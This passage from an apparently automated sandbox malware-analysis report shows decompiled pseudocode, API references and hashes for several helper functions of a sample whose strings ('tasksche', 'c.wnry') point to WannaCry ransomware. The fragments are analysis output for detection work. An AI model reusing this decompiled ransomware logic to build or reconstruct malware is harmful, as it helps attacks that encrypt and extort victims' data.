                                                                                                0x00402967
                                                                                                0x004029ba
                                                                                                0x004029bd
                                                                                                0x00000000
                                                                                                0x004029bf
                                                                                                0x004029c8
                                                                                                0x004029c8
                                                                                                0x004029bd
                                                                                                0x00402965
                                                                                                0x0040295a
                                                                                                0x0040294a
                                                                                                0x004029af
                                                                                                0x004029b3

                                                                                                APIs
                                                                                                • _stricmp.MSVCRT(P!@,?,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 00402989
                                                                                                • SetLastError.KERNEL32(0000007F,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 004029A7
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ErrorLast_stricmp
                                                                                                • String ID: P!@
                                                                                                • API String ID: 1278613211-1774101457
                                                                                                • Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                                                                                • Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
                                                                                                • Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                                                                                • Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59stringCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 89%
                                                                                                			E00401DFE(void* __eax) {
				int _t21;
				signed int _t27;
				signed int _t29;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t43;

				_t36 = __eax;
				_t41 = _t40 + 0xc;
				if(__eax != 0) {
					 *(_t38 - 0x12c) =  *(_t38 - 0x12c) & 0x00000000;
					_t29 = 0x4a;
					memset(_t38 - 0x128, 0, _t29 << 2);
					E004075C4(_t36, 0xffffffff, _t38 - 0x12c);
					_t27 =  *(_t38 - 0x12c);
					_t43 = _t41 + 0x18;
					_t34 = 0;
					if(_t27 > 0) {
						do {
							E004075C4(_t36, _t34, _t38 - 0x12c);
							_t21 = strcmp(_t38 - 0x128, "c.wnry");
							_t43 = _t43 + 0x14;
							if(_t21 != 0 || GetFileAttributesA(_t38 - 0x128) == 0xffffffff) {
								E0040763D(_t36, _t34, _t38 - 0x128);
								_t43 = _t43 + 0xc;
							}
							_t34 = _t34 + 1;
						} while (_t34 < _t27);
					}
					E00407656(_t36);
					_push(1);
					_pop(0);
				} else {
				}
				return 0;
			}












                                                                                                0x00401dfe
                                                                                                0x00401e00
                                                                                                0x00401e05
                                                                                                0x00401e0e
                                                                                                0x00401e1a
                                                                                                0x00401e21
                                                                                                0x00401e2d
                                                                                                0x00401e32
                                                                                                0x00401e38
                                                                                                0x00401e3b
                                                                                                0x00401e3f
                                                                                                0x00401e41
                                                                                                0x00401e4a
                                                                                                0x00401e5b
                                                                                                0x00401e60
                                                                                                0x00401e65
                                                                                                0x00401e82
                                                                                                0x00401e87
                                                                                                0x00401e87
                                                                                                0x00401e8a
                                                                                                0x00401e8b
                                                                                                0x00401e41
                                                                                                0x00401e90
                                                                                                0x00401e96
                                                                                                0x00401e98
                                                                                                0x00401e07
                                                                                                0x00401e07
                                                                                                0x00401e9d

                                                                                                APIs
                                                                                                • strcmp.MSVCRT(?,c.wnry,?,00000000,?), ref: 00401E5B
                                                                                                • GetFileAttributesA.KERNEL32(?), ref: 00401E6E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: AttributesFilestrcmp
                                                                                                • String ID: c.wnry
                                                                                                • API String ID: 3324900478-3240288721
                                                                                                • Opcode ID: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                                                                                                • Instruction ID: 6f95607eaad4b3b0c5796a2914108af7bfa48759f01996e65d2c9759274caab0
                                                                                                • Opcode Fuzzy Hash: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                                                                                                • Instruction Fuzzy Hash: 3001C872D041142ADB209625DC41FEF336C9B45374F1005B7FA44F11C1E739AA998ADA
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 84%
                                                                                                			E00405C9F(signed int __eax, intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				if(_t9 != 0) {
					if( *((char*)(_t9 + 0x10)) != 0) {
						CloseHandle( *(_t9 + 4));
					}
					_push(_t9);
					L004076E8();
					return 0;
				} else {
					return __eax | 0xffffffff;
				}
			}




                                                                                                0x00405ca0
                                                                                                0x00405ca6
                                                                                                0x00405cb1
                                                                                                0x00405cb6
                                                                                                0x00405cb6
                                                                                                0x00405cbc
                                                                                                0x00405cbd
                                                                                                0x00405cc6
                                                                                                0x00405ca8
                                                                                                0x00405cac
                                                                                                0x00405cac

                                                                                                APIs
                                                                                                • CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CB6
                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CBD
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ??3@CloseHandle
                                                                                                • String ID: $l@
                                                                                                • API String ID: 3816424416-2140230165
                                                                                                • Opcode ID: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                                                                                                • Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
                                                                                                • Opcode Fuzzy Hash: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                                                                                                • Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004019E1 Relevance: 5.0, APIs: 4, Instructions: 39COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 25%
                                                                                                			E004019E1(void* __ecx, void* _a4, int _a8, void* _a12, int* _a16) {
				void* _t13;
				void* _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t20;

				_t20 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					L3:
					return 0;
				}
				_t19 = __ecx + 0x10;
				EnterCriticalSection(_t19);
				_t13 =  *0x40f8a4( *((intOrPtr*)(_t20 + 8)), 0, 1, 0, _a4,  &_a8);
				_push(_t19);
				if(_t13 != 0) {
					LeaveCriticalSection();
					memcpy(_a12, _a4, _a8);
					 *_a16 = _a8;
					_t16 = 1;
					return _t16;
				}
				LeaveCriticalSection();
				goto L3;
			}







                                                                                                0x004019e5
                                                                                                0x004019ec
                                                                                                0x00401a19
                                                                                                0x00000000
                                                                                                0x00401a19
                                                                                                0x004019ee
                                                                                                0x004019f2
                                                                                                0x00401a08
                                                                                                0x00401a10
                                                                                                0x00401a11
                                                                                                0x00401a1d
                                                                                                0x00401a2c
                                                                                                0x00401a3a
                                                                                                0x00401a3e
                                                                                                0x00000000
                                                                                                0x00401a3e
                                                                                                0x00401a13
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
                                                                                                • memcpy.MSVCRT(?,?,?,?,?,00401642,?,?,?,?), ref: 00401A2C
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: CriticalSection$Leave$Entermemcpy
                                                                                                • String ID:
                                                                                                • API String ID: 3435569088-0
                                                                                                • Opcode ID: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                                                                                                • Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
                                                                                                • Opcode Fuzzy Hash: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                                                                                                • Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%